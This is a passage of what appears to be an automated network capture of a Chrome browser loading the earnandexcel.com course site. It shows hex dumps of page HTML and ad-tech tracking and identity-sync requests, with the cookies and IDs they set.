2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 6d 5c 2f 63 6f 75 72 73 65 73 5c 2f 65 78 63 65 6c 2d 76 62 61 5c 2f 5c 22 3e 45 78 63 65 6c 20 56 42 41 20 43 6f 75 72 73 65 3c 5c 2f 61 3e 3c 5c 2f 68 32 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 20 73 74 79 6c 65 2d 30 31 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2d 6c 69 73 74 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2d 69 74 65 6d 20 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2d 64 75 72 61 74 69 6f 6e 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 65 74 61 2d 76 61 6c 75 65 5c 22 3e 31 35 20 68 6f 75 72 73 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 Data Ascii: m\/courses\/excel-vba\/\">Excel VBA Course<\/a><\/h2><div class=\"course-loop-meta style-01\"><div class=\"course-loop-meta-list\"><div class=\"course-loop-meta-item course-loop-meta-duration\"><div class=\"meta-value\">15 hours<\/div><\/div><div class=\"
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 5c 22 74 6d 2d 62 75 74 74 6f 6e 2d 77 72 61 70 70 65 72 5c 22 20 3e 3c 61 20 20 63 6c 61 73 73 3d 5c 22 74 6d 2d 62 75 74 74 6f 6e 20 73 74 79 6c 65 2d 66 6c 61 74 20 74 6d 2d 62 75 74 74 6f 6e 2d 6e 6d 20 69 63 6f 6e 2d 6c 65 66 74 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 5c 2f 63 6f 75 72 73 65 73 5c 2f 65 78 63 65 6c 2d 76 62 61 5c 2f 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 62 75 74 74 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 62 75 74 74 6f 6e 2d 69 63 6f 6e 5c 22 3e 3c 69 20 63 6c 61 73 73 3d 5c 22 66 61 72 20 66 61 2d 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 5c 22 3e 3c 5c 2f 69 3e 3c 5c 2f 73 70 61 Data Ascii: lass=\"tm-button-wrapper\" ><a class=\"tm-button style-flat tm-button-nm icon-left\" href=\"https:\/\/earnandexcel.com\/courses\/excel-vba\/\"><div class=\"button-content-wrapper\"><span class=\"button-icon\"><i class=\"far fa-shopping-cart\"><\/i><\/spa
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 70 2d 62 61 64 67 65 73 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 62 61 64 67 65 20 66 72 65 65 5c 22 3e 46 72 65 65 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 69 6e 66 6f 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 61 64 67 65 2d 6c 65 76 65 6c 20 61 6c 6c 5f 6c 65 76 65 6c 73 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 62 61 64 67 65 2d 74 65 78 74 5c 22 3e 41 6c 6c 20 4c 65 76 65 6c 73 3c 5c 2f 73 70 61 6e 3e 3c 5c 2f 64 69 76 3e 3c 68 32 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 74 69 74 6c 65 20 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 74 69 74 6c Data Ascii: p-badges\"><div class=\"tutor-course-badge free\">Free<\/div><\/div><\/div><div class=\"course-loop-info\"><div class=\"course-loop-badge-level all_levels\"><span class=\"badge-text\">All Levels<\/span><\/div><h2 class=\"course-loop-title course-loop-titl
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 65 74 61 2d 76 61 6c 75 65 5c 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 32 38 20 4c 65 73 73 6f 6e 73 5c 74 5c 74 5c 74 5c 74 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2d 69 74 65 6d 20 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 6d 65 74 61 2d 6c 65 76 65 6c 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 65 74 61 2d 76 61 6c 75 65 5c 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 41 6c 6c 20 4c 65 76 65 6c 73 5c 74 5c 74 5c 74 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 65 6e 65 66 69 74 73 5c 22 3e 3c 68 36 20 63 6c Data Ascii: \"><div class=\"meta-value\">\n\t\t\t\t\t28 Lessons\t\t\t\t<\/div><\/div><div class=\"course-loop-meta-item course-loop-meta-level\"><div class=\"meta-value\">\n\t\t\t\tAll Levels\t\t\t<\/div><\/div><\/div><\/div><div class=\"course-loop-benefits\"><h6 cl
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 5c 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 5c 2f 63 6f 75 72 73 65 73 5c 2f 65 78 63 65 6c 2d 74 6f 6f 6c 73 2d 61 6e 64 2d 74 65 6d 70 6c 61 74 65 73 5c 2f 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 62 75 74 74 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 62 75 74 74 6f 6e 2d 69 63 6f 6e 5c 22 3e 3c 69 20 63 6c 61 73 73 3d 5c 22 66 61 72 20 66 61 2d 73 68 6f 70 70 69 6e 67 2d 63 61 72 74 5c 22 3e 3c 5c 2f 69 3e 3c 5c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 62 75 74 74 6f 6e 2d 74 65 78 74 5c 22 3e 47 65 74 20 45 6e 72 6f 6c 6c 65 64 3c 5c 2f 73 70 61 6e 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 61 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 Data Ascii: \/earnandexcel.com\/courses\/excel-tools-and-templates\/\"><div class=\"button-content-wrapper\"><span class=\"button-icon\"><i class=\"far fa-shopping-cart\"><\/i><\/span><span class=\"button-text\">Get Enrolled<\/span><\/div><\/a><\/div><\/div><div clas
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 61 64 67 65 2d 6c 65 76 65 6c 20 69 6e 74 65 72 6d 65 64 69 61 74 65 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 62 61 64 67 65 2d 74 65 78 74 5c 22 3e 49 6e 74 65 72 6d 65 64 69 61 74 65 3c 5c 2f 73 70 61 6e 3e 3c 5c 2f 64 69 76 3e 3c 68 32 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 74 69 74 6c 65 20 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 74 69 74 6c 65 2d 63 6f 6c 6c 61 70 73 65 2d 32 2d 72 6f 77 73 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 5c 2f 63 6f 75 72 73 65 73 5c 2f 65 78 63 65 6c 2d 70 69 76 6f 74 2d 74 61 62 6c 65 73 5c 2f 5c 22 3e 4d 69 63 72 6f 73 6f 66 74 20 45 78 Data Ascii: ><div class=\"course-loop-badge-level intermediate\"><span class=\"badge-text\">Intermediate<\/span><\/div><h2 class=\"course-loop-title course-loop-title-collapse-2-rows\"><a href=\"https:\/\/earnandexcel.com\/courses\/excel-pivot-tables\/\">Microsoft Ex
2024-04-11 21:26:58 UTC	1369	IN	Data Raw: 70 2d 6d 65 74 61 2d 6c 65 76 65 6c 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 65 74 61 2d 76 61 6c 75 65 5c 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 49 6e 74 65 72 6d 65 64 69 61 74 65 5c 74 5c 74 5c 74 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 5c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 65 6e 65 66 69 74 73 5c 22 3e 3c 68 36 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 65 6e 65 66 69 74 73 2d 68 65 61 64 69 6e 67 5c 22 3e 57 68 61 74 20 79 6f 75 26 23 30 33 39 3b 6c 6c 20 6c 65 61 72 6e 3c 5c 2f 68 36 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 6f 75 72 73 65 2d 6c 6f 6f 70 2d 62 65 6e 65 66 69 74 73 2d 6c 69 73 74 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: p-meta-level\"><div class=\"meta-value\">\n\t\t\t\tIntermediate\t\t\t<\/div><\/div><\/div><\/div><div class=\"course-loop-benefits\"><h6 class=\"course-loop-benefits-heading\">What you'll learn<\/h6><div class=\"course-loop-benefits-list\"><div class

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.17	50029	34.107.165.188	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	596	OUT	GET /api/identity/envelope?pid=2 HTTP/1.1 Host: api.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	456	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Accept, Authorization, Content-Type, Cookie, Origin, X-Requested-With Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache, no-store Timing-Allow-Origin: * Date: Thu, 11 Apr 2024 21:26:58 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.17	50032	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	661	OUT	GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1--- HTTP/1.1 Host: lexicon.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	765	IN	HTTP/1.1 307 Temporary Redirect vary: origin access-control-allow-credentials: true access-control-allow-origin: https://earnandexcel.com location: https://lexicon.33across.com/v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D referrer-policy: unsafe-url cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, false expires: Sat, 26 Jul 1997 05:00:00 GMT Content-Length: 0 set-cookie: check=true; Max-Age=31536000; Expires=Fri, 11 Apr 2025 21:26:58 GMT; Path=/; Domain=.33across.com; Secure; SameSite=None via: 1.1 google date: Thu, 11 Apr 2024 21:26:57 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.17	50031	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:57 UTC	609	OUT	OPTIONS /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&lsw=1&us_privacy=1--- HTTP/1.1 Host: gum.criteo.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://earnandexcel.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	523	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:57 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-headers: content-type access-control-allow-methods: GET access-control-allow-origin: https://earnandexcel.com cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 204711 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:26:58 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.17	50030	35.71.131.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	606	OUT	GET /track/rid?ttd_pid=sne7dew&fmt=json HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	596	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: application/json Content-Length: 109 Connection: close server: Kestrel access-control-allow-credentials: true access-control-allow-headers: Origin, X-Requested-With, Content-Type, Content-Length, Content-Encoding, Vary, Cache-Control, Accept access-control-allow-origin: https://earnandexcel.com cache-control: private expires: Sat, 11 May 2024 21:26:58 GMT set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:26:58 GMT; domain=.adsrvr.org; path=/; secure; samesite=none vary: Origin
2024-04-11 21:26:58 UTC	109	IN	Data Raw: 7b 22 54 44 49 44 22 3a 22 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 22 2c 22 54 44 49 44 5f 4c 4f 4f 4b 55 50 22 3a 22 46 41 4c 53 45 22 2c 22 54 44 49 44 5f 43 52 45 41 54 45 44 5f 41 54 22 3a 22 32 30 32 34 2d 30 34 2d 31 31 54 32 31 3a 32 36 3a 35 38 22 7d Data Ascii: {"TDID":"84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19","TDID_LOOKUP":"FALSE","TDID_CREATED_AT":"2024-04-11T21:26:58"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.17	50035	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	685	OUT	GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&lsw=1&us_privacy=1--- HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: application/json Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	479	IN	HTTP/1.1 200 OK content-type: application/json; charset=utf-8 date: Thu, 11 Apr 2024 21:26:57 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-methods: GET access-control-allow-origin: https://earnandexcel.com cache-control: no-cache, no-store, must-revalidate expires: 0 pragma: no-cache transfer-encoding: chunked server-processing-duration-in-ticks: 480975 strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:26:58 UTC	366	IN	Data Raw: 31 36 32 0d 0a 7b 22 62 75 6e 64 6c 65 22 3a 22 41 67 78 43 4d 31 39 4f 4d 54 55 33 57 47 31 4e 61 6b 35 58 65 48 4a 43 53 31 51 30 65 6a 6c 4c 57 56 46 75 4a 54 4a 43 64 6d 31 55 63 30 45 33 52 30 64 69 53 55 4a 77 51 54 4a 45 5a 48 42 71 53 44 4a 70 54 57 56 72 61 55 39 77 4d 6e 41 32 4e 57 39 73 62 48 6c 68 65 6a 4e 55 55 6d 52 49 51 58 42 30 56 44 68 79 4e 30 59 34 4f 45 63 79 54 57 70 47 56 57 31 6a 4e 56 4e 36 62 32 52 71 62 33 4e 4a 55 31 56 45 57 6d 70 79 61 32 5a 53 59 31 70 56 51 6b 5a 4e 55 6d 31 53 63 45 64 6b 56 6d 52 78 63 6c 52 6b 54 6c 5a 6a 53 79 55 79 51 6a 42 56 61 45 45 22 2c 22 62 69 64 49 64 22 3a 22 67 46 44 31 38 31 38 30 5a 55 30 35 65 6e 5a 44 52 58 4a 61 55 6c 64 30 52 46 56 35 52 43 55 79 52 6a 68 35 63 55 64 51 57 44 6b 77 65 Data Ascii: 162{"bundle":"AgxCM19OMTU3WG1Nak5XeHJCS1Q0ejlLWVFuJTJCdm1Uc0E3R0diSUJwQTJEZHBqSDJpTWVraU9wMnA2NW9sbHlhejNUUmRIQXB0VDhyN0Y4OEcyTWpGVW1jNVN6b2Rqb3NJU1VEWmpya2ZSY1pVQkZNUm1ScEdkVmRxclRkTlZjSyUyQjBVaEE","bidId":"gFD18180ZU05enZDRXJaUld0RFV5RCUyRjh5cUdQWDkwe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.17	50033	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	1257	OUT	GET /usersync/sync?origin=https://earnandexcel.com&src=//exchange.mediavine.com&s2sVersion=production&gdpr=0&us_privacy=1---&gppString=DBABzw~1---~BqgAAAAAAgA&p=%7B%22appnexus%22%3Atrue%2C%22gumgum%22%3Atrue%2C%22huddled_masses%22%3Atrue%2C%22indexExchange%22%3Atrue%2C%22kargo%22%3Atrue%2C%22mediadotnet%22%3Atrue%2C%22mediagrid%22%3Atrue%2C%22openx%22%3Atrue%2C%22pubmatic%22%3Atrue%2C%22pulsepoint%22%3Atrue%2C%22rubicon%22%3Atrue%2C%22smartmedia%22%3Atrue%2C%22sovrn%22%3Atrue%2C%22triplelift%22%3Atrue%2C%22verizon%22%3Atrue%2C%22yieldmo%22%3Atrue%2C%22centro%22%3Atrue%7D HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:58 UTC	1126	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 5693 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache Set-Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:58 GMT; Secure; SameSite=None Set-Cookie: mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:58 GMT; Secure; SameSite=None Set-Cookie: am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:58 GMT; Secure; SameSite=None Set-Cookie: am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; Path=/; Expires=Thu, 25 Apr 2024 21:26:58 GMT; Secure; SameSite=None
2024-04-11 21:26:58 UTC	5693	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 0a 20 20 20 20 20 20 20 20 6d 65 73 73 61 67 65 3a 20 27 73 79 6e 63 55 72 6c 73 27 2c 0a 20 20 20 20 20 20 20 20 74 6f 6b 65 6e 73 3a 20 7b 22 6d 76 5f 75 75 69 64 22 3a 22 33 61 36 35 37 34 65 30 2d 66 38 34 61 2d 31 31 65 65 2d 61 39 64 31 2d 33 33 33 63 65 66 63 39 32 37 34 31 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 69 6e 76 61 6c 69 64 61 74 65 2d 76 65 72 69 7a 6f 6e 2d 70 75 73 68 65 73 22 7d 2c 0a 20 20 20 20 20 20 20 20 73 79 6e 63 55 72 6c 73 3a 20 5b 7b 22 74 79 70 65 22 3a 22 69 66 72 61 6d 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f Data Ascii: <script> window.parent.postMessage({ message: 'syncUrls', tokens: {"mv_uuid":"3a6574e0-f84a-11ee-a9d1-333cefc92741","version":"invalidate-verizon-pushes"}, syncUrls: [{"type":"iframe","url":"https://ads.pubmatic.com/AdServer/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.17	50037	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	738	OUT	GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D HTTP/1.1 Host: lexicon.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true
2024-04-11 21:26:58 UTC	366	IN	HTTP/1.1 200 OK vary: origin access-control-allow-credentials: true access-control-allow-origin: https://earnandexcel.com cache-control: private, must-revalidate, max-age=28800 content-type: application/json Content-Length: 42 via: 1.1 google date: Thu, 11 Apr 2024 21:26:58 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:58 UTC	42	IN	Data Raw: 7b 22 73 75 63 63 65 65 64 65 64 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 22 3a 22 43 6f 6f 6b 69 65 64 20 55 73 65 72 22 7d Data Ascii: {"succeeded":false,"error":"Cookied User"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.17	50041	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:58 UTC	2085	OUT	GET /wp-admin/admin-ajax.php HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; 